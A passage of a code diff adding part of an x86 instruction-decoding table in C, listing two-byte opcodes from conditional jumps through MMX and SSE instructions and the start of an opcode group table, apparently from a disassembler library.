+ { NOGROUP, CPU_I386, ITYPE_BRANCHCC, "jpo", { AMODE_J | OPTYPE_z | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_PO, NOCHANGE, OP1_DST, NOACTION }, /* 0x8B */
+ { NOGROUP, CPU_I386, ITYPE_BRANCHCC, "jl", { AMODE_J | OPTYPE_z | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_L, NOCHANGE, OP1_DST, NOACTION }, /* 0x8C */
+ { NOGROUP, CPU_I386, ITYPE_BRANCHCC, "jge", { AMODE_J | OPTYPE_z | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_GE, NOCHANGE, OP1_DST, NOACTION }, /* 0x8D */
+ { NOGROUP, CPU_I386, ITYPE_BRANCHCC, "jle", { AMODE_J | OPTYPE_z | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_LE, NOCHANGE, OP1_DST, NOACTION }, /* 0x8E */
+ { NOGROUP, CPU_I386, ITYPE_BRANCHCC, "jg", { AMODE_J | OPTYPE_z | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_G, NOCHANGE, OP1_DST, NOACTION }, /* 0x8F */
+ { NOGROUP, CPU_I386, ITYPE_MOVCC, "seto", { AMODE_E | OPTYPE_b | OP_COND_DST, OPTYPE_1 | OP_COND_SRC, OPTYPE_0 | OP_COND_SRC }, COND_O, NOCHANGE, OP1_DST | OP2_SRC, OP1_DST | OP3_SRC }, /* 0x90 */
+ { NOGROUP, CPU_I386, ITYPE_MOVCC, "setno", { AMODE_E | OPTYPE_b | OP_COND_DST, OPTYPE_1 | OP_COND_SRC, OPTYPE_0 | OP_COND_SRC }, COND_NO, NOCHANGE, OP1_DST | OP2_SRC, OP1_DST | OP3_SRC }, /* 0x91 */
+ { NOGROUP, CPU_I386, ITYPE_MOVCC, "setb", { AMODE_E | OPTYPE_b | OP_COND_DST, OPTYPE_1 | OP_COND_SRC, OPTYPE_0 | OP_COND_SRC }, COND_C, NOCHANGE, OP1_DST | OP2_SRC, OP1_DST | OP3_SRC }, /* 0x92 */
+ { NOGROUP, CPU_I386, ITYPE_MOVCC, "setnb", { AMODE_E | OPTYPE_b | OP_COND_DST, OPTYPE_1 | OP_COND_SRC, OPTYPE_0 | OP_COND_SRC }, COND_NC, NOCHANGE, OP1_DST | OP2_SRC, OP1_DST | OP3_SRC }, /* 0x93 */
+ { NOGROUP, CPU_I386, ITYPE_MOVCC, "sete", { AMODE_E | OPTYPE_b | OP_COND_DST, OPTYPE_1 | OP_COND_SRC, OPTYPE_0 | OP_COND_SRC }, COND_Z, NOCHANGE, OP1_DST | OP2_SRC, OP1_DST | OP3_SRC }, /* 0x94 */
+ { NOGROUP, CPU_I386, ITYPE_MOVCC, "setne", { AMODE_E | OPTYPE_b | OP_COND_DST, OPTYPE_1 | OP_COND_SRC, OPTYPE_0 | OP_COND_SRC }, COND_NZ, NOCHANGE, OP1_DST | OP2_SRC, OP1_DST | OP3_SRC }, /* 0x95 */
+ { NOGROUP, CPU_I386, ITYPE_MOVCC, "setbe", { AMODE_E | OPTYPE_b | OP_COND_DST, OPTYPE_1 | OP_COND_SRC, OPTYPE_0 | OP_COND_SRC }, COND_BE, NOCHANGE, OP1_DST | OP2_SRC, OP1_DST | OP3_SRC }, /* 0x96 */
+ { NOGROUP, CPU_I386, ITYPE_MOVCC, "seta", { AMODE_E | OPTYPE_b | OP_COND_DST, OPTYPE_1 | OP_COND_SRC, OPTYPE_0 | OP_COND_SRC }, COND_A, NOCHANGE, OP1_DST | OP2_SRC, OP1_DST | OP3_SRC }, /* 0x97 */
+ { NOGROUP, CPU_I386, ITYPE_MOVCC, "sets", { AMODE_E | OPTYPE_b | OP_COND_DST, OPTYPE_1 | OP_COND_SRC, OPTYPE_0 | OP_COND_SRC }, COND_S, NOCHANGE, OP1_DST | OP2_SRC, OP1_DST | OP3_SRC }, /* 0x98 */
+ { NOGROUP, CPU_I386, ITYPE_MOVCC, "setns", { AMODE_E | OPTYPE_b | OP_COND_DST, OPTYPE_1 | OP_COND_SRC, OPTYPE_0 | OP_COND_SRC }, COND_NS, NOCHANGE, OP1_DST | OP2_SRC, OP1_DST | OP3_SRC }, /* 0x99 */
+ { NOGROUP, CPU_I386, ITYPE_MOVCC, "setpe", { AMODE_E | OPTYPE_b | OP_COND_DST, OPTYPE_1 | OP_COND_SRC, OPTYPE_0 | OP_COND_SRC }, COND_PE, NOCHANGE, OP1_DST | OP2_SRC, OP1_DST | OP3_SRC }, /* 0x9A */
+ { NOGROUP, CPU_I386, ITYPE_MOVCC, "setpo", { AMODE_E | OPTYPE_b | OP_COND_DST, OPTYPE_1 | OP_COND_SRC, OPTYPE_0 | OP_COND_SRC }, COND_PO, NOCHANGE, OP1_DST | OP2_SRC, OP1_DST | OP3_SRC }, /* 0x9B */
+ { NOGROUP, CPU_I386, ITYPE_MOVCC, "setl", { AMODE_E | OPTYPE_b | OP_COND_DST, OPTYPE_1 | OP_COND_SRC, OPTYPE_0 | OP_COND_SRC }, COND_L, NOCHANGE, OP1_DST | OP2_SRC, OP1_DST | OP3_SRC }, /* 0x9C */
+ { NOGROUP, CPU_I386, ITYPE_MOVCC, "setge", { AMODE_E | OPTYPE_b | OP_COND_DST, OPTYPE_1 | OP_COND_SRC, OPTYPE_0 | OP_COND_SRC }, COND_GE, NOCHANGE, OP1_DST | OP2_SRC, OP1_DST | OP3_SRC }, /* 0x9D */
+ { NOGROUP, CPU_I386, ITYPE_MOVCC, "setle", { AMODE_E | OPTYPE_b | OP_COND_DST, OPTYPE_1 | OP_COND_SRC, OPTYPE_0 | OP_COND_SRC }, COND_LE, NOCHANGE, OP1_DST | OP2_SRC, OP1_DST | OP3_SRC }, /* 0x9E */
+ { NOGROUP, CPU_I386, ITYPE_MOVCC, "setg", { AMODE_E | OPTYPE_b | OP_COND_DST, OPTYPE_1 | OP_COND_SRC, OPTYPE_0 | OP_COND_SRC }, COND_G, NOCHANGE, OP1_DST | OP2_SRC, OP1_DST | OP3_SRC }, /* 0x9F */
+ { NOGROUP, CPU_I386, ITYPE_PUSH, "push", { OPTYPE_FS | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xA0 */
+ { NOGROUP, CPU_I386, ITYPE_POP, "pop", { OPTYPE_FS | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xA1 */
+ { NOGROUP, CPU_PENTIUM, ITYPE_CPUID, "cpuid", { OPTYPE_EDX_ECX_EBX_EAX | OP_DST, OPTYPE_REG_xAX_BIG | OP_SRC }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xA2 */
+ { NOGROUP, CPU_I386, ITYPE_BITTEST, "bt", { AMODE_E | OPTYPE_v | OP_SRC, AMODE_G | OPTYPE_v | OP_SRC, 0 }, NOCOND, FLAG_CF_MOD, NOACTION, IGNORED }, /* 0xA3 */
+ { NOGROUP, CPU_I386, ITYPE_SHL, "shld", { AMODE_E | OPTYPE_v | OP_DST, AMODE_G | OPTYPE_v | OP_SRC, AMODE_I | OPTYPE_b | OP_SRC }, NOCOND, FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0xA4 */
+ { NOGROUP, CPU_I386, ITYPE_SHL, "shld", { AMODE_E | OPTYPE_v | OP_DST, AMODE_G | OPTYPE_v | OP_SRC, OPTYPE_REG_CL | OP_SRC }, NOCOND, FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0xA5 */
+ { NOINSTR }, /* 0xA6 */
+ { NOINSTR }, /* 0xA7 */
+ { NOGROUP, CPU_I386, ITYPE_PUSH, "push", { OPTYPE_GS | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xA8 */
+ { NOGROUP, CPU_I386, ITYPE_POP, "pop", { OPTYPE_GS | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xA9 */
+ { NOGROUP, CPU_I386, ITYPE_SYSTEM, "rsm", NOARGS, NOCOND, FLAG_ALL_MOD, NOACTION, IGNORED }, /* 0xAA */
+ { NOGROUP, CPU_I386, ITYPE_BITTEST, "bts", { AMODE_E | OPTYPE_v | OP_SRC, AMODE_G | OPTYPE_v | OP_SRC, 0 }, NOCOND, FLAG_CF_MOD, NOACTION, IGNORED }, /* 0xAB */
+ { NOGROUP, CPU_I386, ITYPE_SHR, "shrd", { AMODE_E | OPTYPE_v | OP_DST, AMODE_G | OPTYPE_v | OP_SRC, AMODE_I | OPTYPE_b | OP_SRC }, NOCOND, FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0xAC */
+ { NOGROUP, CPU_I386, ITYPE_SHR, "shrd", { AMODE_E | OPTYPE_v | OP_DST, AMODE_G | OPTYPE_v | OP_SRC, OPTYPE_REG_CL | OP_SRC }, NOCOND, FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0xAD */
+ { X86_Group_16, GROUP }, /* 0xAE */
+ { NOGROUP, CPU_I386, ITYPE_MUL, "imul", { AMODE_G | OPTYPE_v | OP_SIGNED | OP_DST, AMODE_E | OPTYPE_v | OP_SIGNED | OP_SRC, 0 }, NOCOND, FLAG_OF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0xAF */
+ { NOGROUP, CPU_I486, ITYPE_XCHGCC, "cmpxchg", { AMODE_E | OPTYPE_b | OP_SRC | OP_COND_DST, OPTYPE_REG_AL | OP_SRC | OP_COND_DST, AMODE_G | OPTYPE_b | OP_COND_SRC }, COND_OP1_EQ_OP2, FLAG_COMMON_MOD, OP1_DST | OP3_SRC, OP2_DST | OP1_SRC }, /* 0xB0 */
+ { NOGROUP, CPU_I486, ITYPE_XCHGCC, "cmpxchg", { AMODE_E | OPTYPE_v | OP_SRC | OP_COND_DST, OPTYPE_REG_xAX_BIG | OP_SRC | OP_COND_DST, AMODE_G | OPTYPE_v | OP_COND_SRC }, COND_OP1_EQ_OP2, FLAG_COMMON_MOD, OP1_DST | OP3_SRC, OP2_DST | OP1_SRC }, /* 0xB1 */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "lss", { AMODE_G | OPTYPE_z | OP_DST, AMODE_M | OPTYPE_p | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xB2 */
+ { NOGROUP, CPU_I386, ITYPE_BITTEST, "btr", { AMODE_E | OPTYPE_v | OP_SRC, AMODE_G | OPTYPE_v | OP_SRC, 0 }, NOCOND, FLAG_CF_MOD, NOACTION, IGNORED }, /* 0xB3 */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "lfs", { AMODE_G | OPTYPE_z | OP_DST, AMODE_M | OPTYPE_p | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xB4 */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "lgs", { AMODE_G | OPTYPE_z | OP_DST, AMODE_M | OPTYPE_p | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xB5 */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "movzx", { AMODE_G | OPTYPE_v | OP_DST, AMODE_E | OPTYPE_b | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xB6 */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "movzx", { AMODE_G | OPTYPE_v | OP_DST, AMODE_E | OPTYPE_w | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xB7 */
+ { NOINSTR }, /* 0xB8 */
+ { X86_Group_11, GROUP }, /* 0xB9 */
+ { X86_Group_8, GROUP }, /* 0xBA */
+ { NOGROUP, CPU_I386, ITYPE_BITTEST, "btc", { AMODE_E | OPTYPE_v | OP_SRC, AMODE_G | OPTYPE_v | OP_SRC, 0 }, NOCOND, FLAG_CF_MOD, NOACTION, IGNORED }, /* 0xBB */
+ { NOGROUP, CPU_I386, ITYPE_BITTEST, "bsf", { AMODE_G | OPTYPE_v | OP_SRC, AMODE_E | OPTYPE_v | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD, NOACTION, IGNORED }, /* 0xBC */
+ { NOGROUP, CPU_I386, ITYPE_BITTEST, "bsr", { AMODE_G | OPTYPE_v | OP_SRC, AMODE_E | OPTYPE_v | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD, NOACTION, IGNORED }, /* 0xBD */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "movsx", { AMODE_G | OPTYPE_v | OP_SIGNED | OP_DST, AMODE_E | OPTYPE_b | OP_SIGNED | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xBE */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "movsx", { AMODE_G | OPTYPE_v | OP_SIGNED | OP_DST, AMODE_E | OPTYPE_w | OP_SIGNED | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xBF */
+ { NOGROUP, CPU_I486, ITYPE_XCHGADD, "xadd", { AMODE_E | OPTYPE_b | OP_SRC | OP_DST, AMODE_G | OPTYPE_b | OP_SRC | OP_DST, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0xC0 */
+ { NOGROUP, CPU_I486, ITYPE_XCHGADD, "xadd", { AMODE_E | OPTYPE_v | OP_SRC | OP_DST, AMODE_G | OPTYPE_v | OP_SRC | OP_DST, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0xC1 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE_CMP, "cmpps", { AMODE_V | OPTYPE_ps | OP_DST, AMODE_W | OPTYPE_ps | OP_SRC, AMODE_I | OPTYPE_b | OP_SRC }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0xC2 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE_MOV, "movnti", { AMODE_M | OPTYPE_dq | OP_DST, AMODE_G | OPTYPE_dq | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xC3 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE, "pinsrw", { AMODE_P | OPTYPE_q | OP_DST, AMODE_E | OPTYPE_w | OP_SRC, AMODE_I | OPTYPE_b | OP_SRC }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xC4 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE, "pextrw", { AMODE_G | OPTYPE_d | OP_DST, AMODE_PR | OPTYPE_q | OP_SRC, AMODE_I | OPTYPE_b | OP_SRC }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xC5 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE, "shufps", { AMODE_V | OPTYPE_ps | OP_DST, AMODE_W | OPTYPE_ps | OP_SRC, AMODE_I | OPTYPE_b | OP_SRC }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xC6 */
+ { X86_Group_9, GROUP }, /* 0xC7 */
+ { NOGROUP, CPU_I486, ITYPE_XCHG, "bswap", { OP_REG | OP_SRC | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xC8 */
+ { NOGROUP, CPU_I486, ITYPE_XCHG, "bswap", { OP_REG | OP_SRC | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xC9 */
+ { NOGROUP, CPU_I486, ITYPE_XCHG, "bswap", { OP_REG | OP_SRC | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xCA */
+ { NOGROUP, CPU_I486, ITYPE_XCHG, "bswap", { OP_REG | OP_SRC | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xCB */
+ { NOGROUP, CPU_I486, ITYPE_XCHG, "bswap", { OP_REG | OP_SRC | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xCC */
+ { NOGROUP, CPU_I486, ITYPE_XCHG, "bswap", { OP_REG | OP_SRC | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xCD */
+ { NOGROUP, CPU_I486, ITYPE_XCHG, "bswap", { OP_REG | OP_SRC | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xCE */
+ { NOGROUP, CPU_I486, ITYPE_XCHG, "bswap", { OP_REG | OP_SRC | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xCF */
+ { NOINSTR }, /* 0xD0 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX, "psrlw", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xD1 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX, "psrld", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xD2 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX, "psrlq", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xD3 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE_ADD, "paddq", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xD4 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX_MUL, "pmullw", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xD5 */
+ { NOINSTR }, /* 0xD6 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE, "pmovmskb", { AMODE_G | OPTYPE_d | OP_DST, AMODE_PR | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xD7 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX_SUB, "psubusb", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xD8 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX_SUB, "psubusw", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xD9 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE, "pminub", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xDA */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX_AND, "pand", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xDB */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX_ADD, "paddusb", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xDC */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX_ADD, "paddusw", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xDD */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE, "pmaxub", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xDE */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX_AND, "pandn", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xDF */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE, "pavgb", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xE0 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX, "psraw", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xE1 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX, "psrad", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xE2 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE, "pavgw", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xE3 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE_MUL, "pmulhuw", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xE4 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX_MUL, "pmulhw", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xE5 */
+ { NOINSTR }, /* 0xE6 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE_MOV, "movntq", { AMODE_M | OPTYPE_q | OP_DST, AMODE_P | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xE7 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX_SUB, "psubsb", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xE8 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX_SUB, "psubsw", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xE9 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE, "pminsw", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xEA */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX_OR, "por", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xEB */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX_ADD, "paddsb", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xEC */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX_ADD, "paddsw", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xED */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE, "pmaxsw", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xEE */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX_XOR, "pxor", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xEF */
+ { NOINSTR }, /* 0xF0 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX, "psllw", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xF1 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX, "pslld", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xF2 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX, "psllq", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xF3 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE_MUL, "pmuludq", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xF4 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX_ADD, "pmaddwd", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xF5 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE, "psadbw", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xF6 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE, "maskmovq", { AMODE_P | OPTYPE_q | OP_DST, AMODE_PR | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xF7 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX_SUB, "psubb", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xF8 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX_SUB, "psubw", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xF9 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX_SUB, "psubd", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xFA */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE_SUB, "psubq", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xFB */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX_ADD, "paddb", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xFC */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX_ADD, "paddw", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xFD */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX_ADD, "paddd", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xFE */
+ { NOINSTR } /* 0xFF */,
+};
+
+/////////////////////////////////////////////////////////////////////////
+/////////////////////////////////////////////////////////////////////////
+// Groups
+/////////////////////////////////////////////////////////////////////////
+/////////////////////////////////////////////////////////////////////////
+
+X86_OPCODE X86_Group_1_80[8] = // 80
+{
+ { NOGROUP, CPU_I386, ITYPE_ADD, "add", { AMODE_E | OPTYPE_b | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x00 */
+ { NOGROUP, CPU_I386, ITYPE_OR, "or", { AMODE_E | OPTYPE_b | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x01 */
+ { NOGROUP, CPU_I386, ITYPE_ADD, "adc", { AMODE_E | OPTYPE_b | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x02 */
+ { NOGROUP, CPU_I386, ITYPE_SUB, "sbb", { AMODE_E | OPTYPE_b | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x03 */
+ { NOGROUP, CPU_I386, ITYPE_AND, "and", { AMODE_E | OPTYPE_b | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x04 */
